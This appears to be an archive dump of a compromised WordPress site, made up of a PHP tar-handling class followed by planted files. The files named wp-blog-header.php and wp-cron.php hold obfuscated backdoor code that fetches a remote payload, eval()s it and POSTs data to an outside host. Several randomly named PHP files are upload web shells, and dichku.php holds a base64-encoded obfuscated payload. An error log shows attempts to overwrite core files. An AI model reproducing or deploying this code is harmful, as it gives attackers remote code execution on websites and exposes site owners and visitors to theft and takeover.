'\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?>
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
"; } ?> wp-blog-header.php000044400000003555147241726160010072 0ustar00 $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>wp-cron.php000064400000003555147241726160006664 0ustar00 $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>.htaccess000044400000000305147241726230006346 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] bbnjgzjx.php000064400000001370147241726230007104 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> gqksqsxc.php000064400000001370147241726230007132 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> error_log000064400000007313147241726230006475 0ustar00[04-Dec-2024 17:53:32 UTC] PHP Warning: fopen(/home/logoandw/vipguest.in/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/vipguest.in/gqksqsxc.php on line 12 [04-Dec-2024 17:53:32 UTC] PHP Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/vipguest.in/gqksqsxc.php:13 Stack trace: #0 /home/logoandw/vipguest.in/gqksqsxc.php(13): fwrite(false, '\n
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> boifauue.php000064400000001370147241726360007071 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> dichku.php000064400000020457147241726360006550 0ustar00".base64_decode("IDw/cGhwDQovKg0KCQ0KCQkJCQkJICAgICAgQ09ERSBTdWNjZXNzZnVsbHkgT0JGVVNDQVRFRCBieSA1SDMxMV8xTkozQzcwNiBPYmZ1c2NhdG9yDQoJCQkJCSAgICAgICAgICAgICAgU3Ryb25nZXN0IFBIUCBvYmZ1c2NhdG9yIDspDQoJCQkJCURvbnQgY2hhbmdlIHRoZSB2YXJpYWJsZXMgb3RoZXJ2aXNlIGNvZGUgd2lsbCBub3Qgd29yay4gDQogICAgICAgICAgSWYgeW91IGFyZSBmYWNpbmcgYW55IHByb2JsZW0gY29udGFjdCBtZSBvbiBHbWFpbC4gICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNUgzMTFfMU5KM0M3MDYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBPciBtYWlsIG1lIHVuaXRlZGN5YmVydGVhbUBnbWFpbC5jb20gOykNCiovDQokQ3liZXIgPSAiWlhaaGJDVXlPQ1V5Tm5GMWIzUWxNMElsTTBZbE1qWm5kQ1V6UWlVeU5uRjFiM1FsTTBJdVozcDFibU52YlhCeVpYTnpKVEk0WjNwMWJtTnZiWEJ5WlhOekpUSTRaM3BwYm1ac1lYUmxKVEk0WjNwcGJtWnNZWFJsSlRJNFozcHBibVpzWVhSbEpUSTRZbUZ6WlRZMFgyUmxZMjlrWlNVeU9ITjBjbkpsZGlVeU9DVXlORU55YVcxbEpUSTVKVEk1SlRJNUpUSTVKVEk1SlRJNUpUSTVKVEk1SlROQyI7DQokQ3JpbWUgPSAiPT13OERVTHNJOG5BdytyOWE1clNybFdNYkxkOVNIYmJHcE5vWFdWb2NKUEpOVDFmZytUb1lFUzZUTkpqZFFNditPMmx3ZVJTck1rcWJ0NUEvOUlWRHg2Qng1YkpJcUpMbGtvQmxzbzhwNjJhN0pUNTVXQjdMclQ1d1pHVHgyQ1dUdXNVTEx1V0FtZEhwbzlXRSsxQ0xkRFRMZjJENXdYQXM4ME1oeDlkZkQzT3pUeFhDdjFuZkpCM3VndmxhRElIWjllTEd3ZXBmMitVUDMxN3Z3WThVOExNOHRFeENSR3RiUTd5T3RwRVA3TXg0Ky9QL043MXpjTUxLaDNxL1BoVDFxNkRsMjNLSUVrdGlabVpNSUE3OWxGSnhvL285R3l3YW9sZ05PU1l2cmFiNk5ITkJLK3pESEJhaFR2RFR6bDVwbkY4Zm9kdjY3azFXSy9VVGlFazdweDlDdFQ2MzNkcnhjYyt1UUNONzdnMU1lSzNpcE5XZllWZ0ZRN2F1N21yMGFGR1NQMWdDTW5jc2E0K1dwZUVIWUtwYzRZelYzMWM2MUJwL1lvV3ZlVlhpQ3Exd21wbnJxVTBxbXVWc0thVDZwcVRybVZlOWtNYzNmMUdBVERpN2xqUHpGWmxRK1JPR3BoSTZyS1E0b0JSZ1dkekdDYk4xNVYvMVh2NnBPcjNsWWdiczZOQUk0L01IUGZsNFpuNjFMT1h6V1hsdEgrbTA3aUM3dkE2aFpKYU5VNFB4MVhkbWJhdjM5L3FSUnp5WTJzVnUyN291YXdydTZhN3ExTVVLV212MTdRdHRibWlVTG15MDkvUUpPOUVHd09Sdjg0OTErQlRmV2Zvc085VGh4R0RxUHJRRThqd3hKV0x6MXVXNHkrUlpScUQ5S2srYjlJbThkaDFOam4xZHJhellWdEZSNmg5YXRHbjR3WUxKYmVieDJhVklRUGVFblBJODNwUjROL0ZHa0R1Rlh5dmgvRVVaN0t6MTlYMEFUUkNVQXo0ckxQSTFmUkFiZXhlTVcvRDRnTkszdzhEdDAvY0Uzc052bHJ0TjZpcnl4WHVqYjhZOS9yTkI4RkhNNy9zeVpaaW5CUytjZTVITEtPbis5MmwrNUNUemhXYUlIakp0cUJ0QVdld2oxM1FMNUJhR0NTZW16WFNPNVRudzlMWTJhSjJxY1dueWJYVmdiTG02OE5uQjJwZEFicjZvYTg4Ky8yQU9BTVFrc2haL2ZKYi9zQXB1WisvdTR0ZlJJRjczbE9WVEhuVGFOdWxLNnZnTDYyRHM5M0xHQ2Q5N2VMSnFYQ05INUI2ZTczMUdOYitZeHQvbVZ0MHFObHpmcmNaUVYxNXk3SVFtOEhOVzQ5VWFiMm9rWTFrK1BLYW51cXRMaFFwanVMTHdXTGtyZ1FUblhwU2thMGtScmxUSWdmQ2FBN3BOOWtlUlZ6cExkYm1WSFJOeTJLTXJ5NExZWC91QXkzVnkrNXV3NlYySytIL2JsU21HN1B5UVp3YngwOTh3K1BjbzhML2VJYmRaNkRBbmZxTlFLYW4yYXRyWlBqRWw2eThjblZaUHRKdUIxcmE4KzhXQnBYZTcydVoxcWk2WmZGbGZIZlI5ZURsRkc1dDBlWGhVV21EMTlwMzU2QjVmcHZTU1B6MC8wUGJIaTdsUDA0Yk1pVUlTTEI1bi9XWkI1MnM5b2Y0MlpqYTR1M3dLZUFJMXVFQktDa1hQUnVxaHc5Wjh3ZUM5eVlBQTkwYXhnRUcySUVXc0FkMWNoVWY4RUFMT1dqNFU2TmZLa0FoenF6UUtyYmxkc3B1NTFPRnR2SllEM1lrem1sK09MTE9vMWU3cTFJMllwK2ZnOCtCUmVGSkdZcEFFaXJVQklFZ2lPdGZrWnB1NTkvZEo5eDBrTDg5ZThBcUYwemxKWVc5MkZqbXlTQjF1c2NDRkNubktoTW1za3RGV3JqbEoyM3Bkc0dwSU5DQSt5bnZ6eU50QnRjdDJLYWdWSGdEeVRCNm8vRHRlNWZWRlR2QW5od3hBRDRpWmNSeWxNUldnb25vRnFhZmNTZ0o0SnZ0NW16UzBoRDZwNVEvQy9qUXgrYVFwTWdkVGF5VTUzV2NvZ0EyVjdRVFFoajMrOXVjalNHRVFETU5yUlRIN0x5RHlpV2xzZW9iL0lnUHBYL1JpUDE3RXJ2T3RWeHVKc0dZYisrWGQzajBwdGllTHIwbXdYU2syMkorQnR4STUzRll0ZWNkWG0zbDIxSEdKVDlZdFJNVjVGSlJ4Uk9DUWFhNTU5V2w3S1AxRWxLNWU3S1gxc1JyYXVSR1dKSEtRemlGejY1eWdVMEdRamthaHVCeW9NYmQ2VmRtU2s3UFVsdXFjT1JOOGFJUjRNM05OTFJMc1MxTkpwMHdLSFkwRFR5UHRXSVM1eVVpRmNVL3dZMVNzSmJjMmVGNHVWVFZpU01nR2hkYVVobVkvaFI2SFJ3dTZnaksrQnlsbk4vVHFJMTdHcTBmQytrS25uRjZGOS81ZVU0UmVVNHRobWQzZHlqeGF4SEVaMGNWL2d2cmJiSXE3WXF1NFpxZjRPbElXWEhicTdzVE96NjU4b3V6T1c5L3dlUlZkZldWd05iRUs0OGNPeks0ZmYrRXV5YkFnMWFESUwvZEwxM2ZKaFp3SkpxM2Z2TElhWjB1U0FWNUJJcXdJd0loeFo0TGJoRTEvSmVBaEx6MFVvZTB6cUhtS1lEYlBJMVBTUzFnbTZjMVUxTEloUExpNThoMHIyU2Zmb1VSdjFpTUdsaUEyZmExcGMzbDkrRDFWWkRXUE0vR25SaUNLa3ZwOWl6V1hZU1JLTTNUVWQyS1NYNjZJbUNCZVo1bmtkNVBpTVIvaG1vMzJBQlpUMEh4QlpBV1VLOU5FdG9ZZ3pMYkozUklLVWF0VEZGbm5LTUlMd1piTXpINEFnbGRrcWFXZ2gyME9lRjVwVW1BRlM1SG1MRGFhTGpUbVNrNm9mMDFrL3BxOGgvRDRpZUhLWnZLcmphWFg3Y0hKYkovOTZzRytCeXdwNktrcGFHbnFnN3JTMG9aYmhRUFgwMzlSeU9jYjhickI2d1FXdzBwT2NXR0U1RElKQ2VtZmNiQ3FYbXhRazRtVU04YWhHWG14SkxFOE1FQ01PZ0NRZXlFNGN5akVFSjZvWktqMWR4TmExRG5jbm9tM1d0TnJVdEUwMmcxZHUzYUxNN21IUllPd282VVZSRHpuSm1hckU1cVFDdjdKRS9EMmFkaUxyS2JoWmxzYS9wSzIzaFFxVGxqMnFPQ1dRRTY4WlBNM0VvOTg4eW15TEl3dWNrS3FSc2dvRXY4WTgwb25TWWdyY1lMSGRUekpRNnhFSG8wTFZBSUZ2cVhHeFR0YnVLaUlMaFNmUmkrNERkd2V2MjFUQ0pRVnhrZURCdnZBSVRZYnErZU50cmNWNlc1RlZOZ0dJYU1heXh0b0thZEJyaDhjRkYxUzJMWmFpbnFpSkVYWDdtWkFMejd0aDBXenFNTmxuc0paazE0dzRHT21EVTZWVEZNL2hlNnVLbjJXUTIyYUFYR241amxsTk9ETll1OHVzOEsyWi9rNk5WdVpwdFljbmFDa0I0S3djRXNnZloxZlE4SVFWMzZ1eWJ2OTFuZDZHOW96NXIyU3JVSmt0WmxZdjZiQUNGTVRqOEYyclhHRDEwUGllRFlXZ1V3dmJvRXlhc2tVSm5QelM1Uzh4RU9KSXRjL3NOcHV3OHNWYTZpc0pNa3VwMlVlVkZwcXphZ3VPREZXRFdoR0lRZVhrSHMrUXNHcndHNURJNEtiWmRCcHNaS0tJbUpQTUMvZDRMZXd1UnJrclBUYlliaGdsVitZNXdNUUIzai9VUmQ0SVd2WVlPTmhUTnlacWg4SUlxdzlWZFF2Y0sxVEhOcjQ1Q0dEa0J3UTZEOHR2a3ErQXFmNGx5RzBpRFZUaFFpMmlQTWc3b1pudjJNbEQwNERPVGpKUnFsc2x4Q0lQYkpDT0pUWHdiS2dWbEExaEVHTDlRUlhGTitMNWt1bW1RdERLTHB2aUZNcUxOV3Z5bTNTNkdLdmVNbHVpRmFVTkZxdTZ5emY4d2xzcmY1SG9kb0JBZUtJMVFkZ3ZVN2dTRndDTVFiUGZpbE04SFVDd01SeHdEWmFZRDMwbVdDb2krMjc1WXdQWWlpeFQwcE5wdzd4T3JKa0piSGljUjhXQ2xRYUNzd0toSFNoSlkzTlV0elcySUt5NVRqckl4RU1vS1l2RmF5QU43aGNSTnRMQXVISmFTalBLdUlPQU5NWkthRFF2ZXJDYTIxTkxpTkdNQ2NlZUc4b1JGczhBUDRtUVJhUGdXYXNTWUN3RXRkRUo1bndzTGJOdWJhUU5VSDZuTkxlZFpIdXZxMVE2U1VSUTRTdGlrWWsxdThlUXViVi9NR0VkTElBbmV5SVFGVk1GazNrNVV4SUxSS09pZ0p6Y0xrZDNlWGRvaUlQeVlnLzlPd3BGbkdZOVdwTW1GWUlpVzVTTWVqY1lvRW9WWi9oVURYd0VGQjdyQUduNHhOeWZSL2xUUFl4S3hWa0hkSnd2dFZEWkN3SFBDSXdpRWU2SCtqbVF0c01hQmp2NFlHYS9md2duNm90SVRCZ3RBbUdEaTZHWmVkQ1h5bThGSS80RnV0a0tUU2p0Y0VlM09wQXl3NnhHK1BobDVYa0ZJaHd0Z0w3SktBdUY1aFFRN2gwWnBFUSt3S3FtRE5aZEVVZm5rVTNyRWhObzdpV1k5QzA1QjUzbTZFM1NrRndwcUZFTDVLR3JaSmdna2cwYVhsS2lQRGcwdmJSWktCY2ZQdWRwL0k0Q1B3Yy9rRjh4UVBRazN2NDlEM0xKSms3NjVWMzhlTWNOYkVFeUlsWW1NZzkwZ1BzY2NrN1hmYVdmVDZzNGUyWTI0alBrSER3bG1UQ09JRXM4YVUxcmQ4a3VSeGxySEhjUlZEd0hiSXk0YlAyZWRmMEx4ZDhFY3ZReUZJQWFBaEo2VGNTVVRDakFMcGo3NEgvanFhQ3RzKys4Z3Z0R0hnZjJObDV4UVNiekt6aVovdG42dUluMFRvR0xVb2VyeFl4eE9iVWdzMzUrMTBWM1JHWG4wU1VCYzMwamRiMWgwR3prdGoxZk8wVCtzZE1ZRlNjZVhQVTNUajIzaWNtekNldG5wd3diUkR3YjNXdmlWck1oQTh0SUppdUMyTWdCVW84NGdjWnl6ZVltSXAzZ0pVVHRoSFhzbjV6ejlyaFB2ZXZqcGQ1UVNyWGp1Vll1WmtuNXhKTVFpNW1nOEIxdE85YWFwWUEya0kzZ3J3RUF5d1ZjY0RJWTRLaDFvTUlSZGJaYjR3anpNV1I2WlpFRDJEd3VCeXUxeWMvYXpoTXRWWHVEcWxkaDU5bDdNOEpnWEpNbmswYW9VQURnTk9PQVRQS004Y25UREZIK01tSmdoTDg1NGptSm5tNm96QUtQa0pMNFJJRW1Ed0RQaDUxQTZ4WW1Qck5oN0tCYVdRR093a2ZyUW00OFlNTEJ5MWp1YzFvSHZ3VXdZKzNhdzVCYUdDWk03ZFBoOWlBbmxVOG5mODhwUGZkTEZ5UDcwVFAvMnJiUGY4Njd2UjF1ays1cTVpcmFrRWcva3pPOTFaWDg2OSt6SC85dXpQNDBuM0poSVFYdzFCZ29lMUdGNVpWUHZibGRGMUZDM2IwNUplQ0lqSFY2WEQ4SlJuVlltcUcxN00zU2U2MkhuYzcxM2YrODFwRDdmK3lKWCthZ0xCbk1RZHhFakYrdWJFclVjbE9LUlg3VnhhYlk3ZWJ1Ukk2MkRsMWZVNmNCVkswc2JpNmVFVnlvSmtSZnNwOE9UdU5tem9jRFRmRUs4QmZPaldkVVlnS1dud0kvWXRDMjlhZWVLQllwTlpJT0ZGZHZDWWJZUUZ1T1NrNERoYVE4SEJUZ3phcktuVXVvSjU3ZmNod1ZJdHozVHlHUmliRkxXVW9qVVdDTGcvQWljSVpLMWFLSXhUV2tWbTBvRzRnYUFGVERGRU16VUV0UVdrcWNVbU9lUmlmS0RpalVTbzV4bEpIQ3pFZENzUmttTStyeWttaHZycDVlWnN1NlZ6WEtydGdJVGx2ZUdYWEQ3dWFWRDd6Lzl4SEU3dTZZZlh6LzZaWWh6MXd1cm0yZnhhbzFadWpLaTk0TlA4cWpxZUVubzBTNWdCcVFnamcyMS8wVndBTkMwR3JVK0Rvb3ZTNFd0SjRJbEpOSzJjdU9JM2VNZE5aRmY1NG9VaUV6OTBCYUduSnNPSE4xS09Wa0d3ZkdMeFpQZGdPeFpDNDdzSnV6NUMwQitUWUlPYmNBT1V6RllQam5vc3pGWVNPTERtcFdqY3EyMFd5c1F4TE52RFpvakcwMEdPNEo5R1